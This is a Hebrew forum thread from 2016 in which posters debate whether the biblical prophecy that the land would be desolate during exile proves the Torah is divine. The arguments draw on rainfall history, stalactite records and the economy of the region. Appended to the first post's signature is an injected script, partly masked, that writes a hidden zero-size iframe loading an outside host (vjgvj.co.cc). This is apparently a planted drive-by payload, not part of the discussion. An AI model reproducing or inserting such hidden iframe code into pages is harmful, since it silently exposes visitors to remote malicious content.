|
|
| נשלח ב-5/9/2016 17:47 |
 |
| |
אריאל
איקון ירוק על עבודה מדהימה!
לצערי גם אני לא משופע במשאב הנפלא הזה, זמן, שיאפשר:
לעקוב אחרי הטיעון שלך
לבדוק את הטענות שעליהן הוא נבנה.
אבל עדיין ניתן להכיר בעבודה הרבה של איסוף המידע, הניתוח שלו, הצדדים השונים.
אני מבקש לתרום רק פרוטה אחת.
יש טענות מטפיזיות ויש טענות שאפשר לקרוא להן פיזיות אבל כוונתי למשהו רחב יותר, מהסוג שכונה בעבר "גשמי".
בתקופות מסויימות חשבו שיש ביניהן סתירה.
בגן ילדים חילוני: היו עננים, נשבה רוח, ירד גשם.
בגן ילדים דתי/חרדי: ה' הוריד גשם.
ובכן, זה לא סותר. ה' פועל דרך מה שאנו קוראים טבע.
לפיכך, אם בתקופה המודרנית הביאו היהודים טכנולוגיה ושיפרו את הארץ, אפשר לטעון שזה היה מצליח גם אילולא היה האלוקים בעזרם. אבל זו לא סתירה לטענה המטפיזית-דתית לומר שהטכנולוגיה הצליחה. איך הביא פעם בעל בעמיו בשם הר"ן, ה' אלוקים נותן לנו כוח לעשות חיל, נותן לנו טכנולוגיה לעשות חיל.
____נוספו מילים להבהרת טיעון_____________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 05/09/2016 17:48:33
 |
|
|
|
|
| נשלח ב-6/9/2016 07:09 |
|
| |
אריאל: כתב " אתה יודע שלא כתבת כלום, כן?
יש הבדל בין נבואה לסיפור והנימה של הכתוב כן נשמעת כמשהו שיותר טוב ממדבר אבל עכ"פ, גם אם משה רבינו או ה' שיקר במוצהר זה לא קשור בשום דרך להוכחה שלנו". אם זו הוכחה לנבואה באופן כללי ובמנותק לשאר פסוקי ההתורה – נניח (לדעתי לא אבל אין תת נושא זה טעון ויכוח כי לא זו מטרת הוכחתך). אבל כהוכחה לתורה משמים - את אותו הלך מחשבה (התאמת עובדות עתידיות) יש להתייחס להתאמת עובדות גם בפסוקים אחרים. היית יכול לענות שכפי הנראה אז הארץ היתה גשומה יותר (נדמה לי שיש מחקרים כאלו) ויחסית היתה מקום טוב (בפרט אם גבולות הארץ מתחילים מאזור נחל צין בדרום ומסתיימים אי שם בלבנון/סוריה). עפרות ברזל באיכות כלשהי יש בא"י אלא שלא כדאי כלכלית לנצלן ואז היה, ועוד ועוד. היית צריך להתייחס לנצחיות התורה ומדוע היום הארץ במצב גרוע יחסית (ויכלת לענות שאם נשתפר יחזור משטר גשם טוב יותר, והנה גלוי גז ועוד). יש מקום לדיון. לכשתדוק תראה כי גם הוכחתך שלך טעונה דיחוקים, גם מהעבר, כפי שהעירו וכפי שאני מכיר את מצב חלק מערביי יו"ש.
|
|
|
|
|
| נשלח ב-6/9/2016 12:13 |
|
| |
במערת הנטיפים ליד בית שמש. יש נטיפים שנוצרו מהגשמים באלפי שנים, כמו בטבעות העצים, גם בנטיפים אפשר למנות את השנים. לפי הנטיפים וצלילותם אפשר לראות בדיוק באלו שנים היתה שנת בצורת, ומתי החלו מעוטי הגשמים בארץ. זה שווה פחות או יותר מזמן גלותם המלאה כמעט של היהודים מהארץ. אז פסקו החלו מיועוטי הגשמים בצורה בולטת ביותר. המתענין יכול לבקר במקום ולהתרשם וללמוד ולהשכיל.
|
|
|
|
| נשלח ב-7/9/2016 01:08 |
|
| |
ההוכחה הזו במהותה לא יכולה לשאוף להוכיח את נכונות כל התורה, כי העובדה שמשפט אחד בתורה אינו אנושי אינה יכולה להוכיח שכל התורה אינה אנושית. כל מה שאנו שואפים להוכיח הוא שמשפט אחד בתורה מסתמך על מידע שמקורו בגורם על אנושי - לאו דוקא ה' שנתנו למשה. יתכן גם שמקורו באורקל סודי במרתף של אבי אבותיו של הכותב. ממילא אין כל הוכחה נגדית מפסוקים אחרים שאינם תואמים למציאות, שהרי איננו עוסקים בהם. כל זה כמובן לגבי הוכחה ב, הוכחה א בכלל לא קשורה לנושא. כבר כתבתי לעיל שהמשוואה אינה יכולה להיות - יהודים מצליחים, גויים נכשלים. זאת גם היסטורית (היישוב הפגאני בארץ חווה תקופות שגשוג, הטובות שבהן דוקא בתקופת המקרא - הפלשתים והפיניקים) וגם בפרשנות הכתוב, שכן הוא מתייחס לתופעה שתתרחש בארץ כשנגלה ממנה. ממילא המשוואה היא - יש יהודים כולם מצליחים, אין יהודים כולם מפסידים. נשלח מהאנדרואיד שלי
|
|
|
|
| נשלח ב-7/9/2016 07:02 |
|
| |
רמת הצלחה כלכלית כמו ביו"ש עדיין בגדר "שממו"?
|
|
|
|
| נשלח ב-7/9/2016 09:09 |
|
| |
|
|
|
|
| נשלח ב-7/9/2016 09:25 |
|
| |
חולק. ושממו אוייביכם אינו מותנה בהיעדר 50000 יהודים. גם אם לדעתך כן זו כבר אינה הוכחה
ולהבהרה עוד נקודה - אני מניח שהמוכיח מכאן ימצא תירוצים להריי הברזל וערימות הנחושת. עליו לשקול אם תירוצים מעין אלו אינם ישימים כאן
והערה שאינה קשור ה ישירות ל"הוכחה" - יודעני שאם נגלה בשלישית ואיראן ולשיחיה יהיו כאן הבוסים ויעבדו אדמות וינצלו את הקרע לתפארת - יופיעו במהדורת עצכח usa הסברים מלומדים
|
|
|
|
| נשלח ב-7/9/2016 14:48 |
|
| |
בדיוק להפך, זה הפשט הפשוט. שממת הארץ מגיעה כפרט מעונשי הגלות וכמ"ש בהתחלה (חוששני שגם את זה לא קראת?) ראה בדברים והבדילו ה' לרעה מכל שבטי ישראל...ואמר הדור האחרון וראו את מכות הארץ ההיא ואת תחלואיה, גפרית ומלח...על מה עשה ה' ככה לארץ הזאת? על אשר עזבו את ברית ה'...וישליכם אל ארץ אחרת וגם בויקרא:
וְנָתַתִּי אֶת עָרֵיכֶם חָרְבָּה וַהֲשִׁמּוֹתִי אֶת מִקְדְּשֵׁיכֶם וְלֹא אָרִיחַ בְּרֵיחַ נִיחֹחֲכֶם. לב וַהֲשִׁמֹּתִי אֲנִי אֶת הָאָרֶץ וְשָׁמְמוּ עָלֶיהָ אֹיְבֵיכֶם הַיֹּשְׁבִים בָּהּ. לג וְאֶתְכֶם אֱזָרֶה בַגּוֹיִם וַהֲרִיקֹתִי אַחֲרֵיכֶם חָרֶב וְהָיְתָה אַרְצְכֶם שְׁמָמָה וְעָרֵיכֶם יִהְיוּ חָרְבָּה.
אם כן, הקביעה היא שכשאנו לא נהיה בארץ היא תהיה שוממה. אמנם, עלינו לשאול מהו הקו המגדיר את 'ישיבת עם ישראל בארץ' אני מדדתי אותו באחוז היהודים מכלל יושבי הארץ, אבל יתכן שהקו ניתן באחוז היהודים היושבים בארץ מכלל עם ישראל ויתכן שהקו נקבע במספרים מוחלטים.
את הטיעון האיראני והטיעון הפטרוכימי שלך לא הבנתי: וכי בגלל שניתן לעקם ולפרש שכוונת התורה לא היתה לשממת הארץ לכן ננטוש את הפשט הפשוט ונפרש כך? ושמא רומזים דבריך לשלוש טענות (שתים מהן כבר נידונו לעיל): א. ניתן לרמות ולהכניס לטקסט כל כוונה שהיא.
זה לא קשור לענייננו, כי העובדה שניתן לרמות אינה אומרת שאין לטקסט כוונה אמיתית.
ב. גם באורח ישר, טקסט סובל כמה פרשנויות.
זה נכון, והשאלה כמה פרשנויות ישרות ניתן לתת לו ועד כמה הן מקלות על הנבואה להתאים למציאות.
ג. המאמינים בכל תמ"ה נאלצים לרמות כדי להתאים אותה למציאות. אם כן, אך הוגן שגם כאן נדרוש מהטקסט את אותה רמאות.
אבל אני מכריז בזאת שאני מתנגד להענקת פרשנות שקרית לטקסט, ומעדיף על פניה הצהרה שחלקים מהתורה אינם משמיים. (כמובן, בהנחה שאלו שתי הברירות היחידות העומדות בפנינו. לדעתי קיימת גם ברירה שלישית: פירוש אמיתי לטקסט שאינו סותר את היותו תמ"ה.)
נשלח מהאנדרואיד שלי
תוקן על ידי אריאל73 ב- 07/09/2016 15:01:07
|
|
|
|
|
|
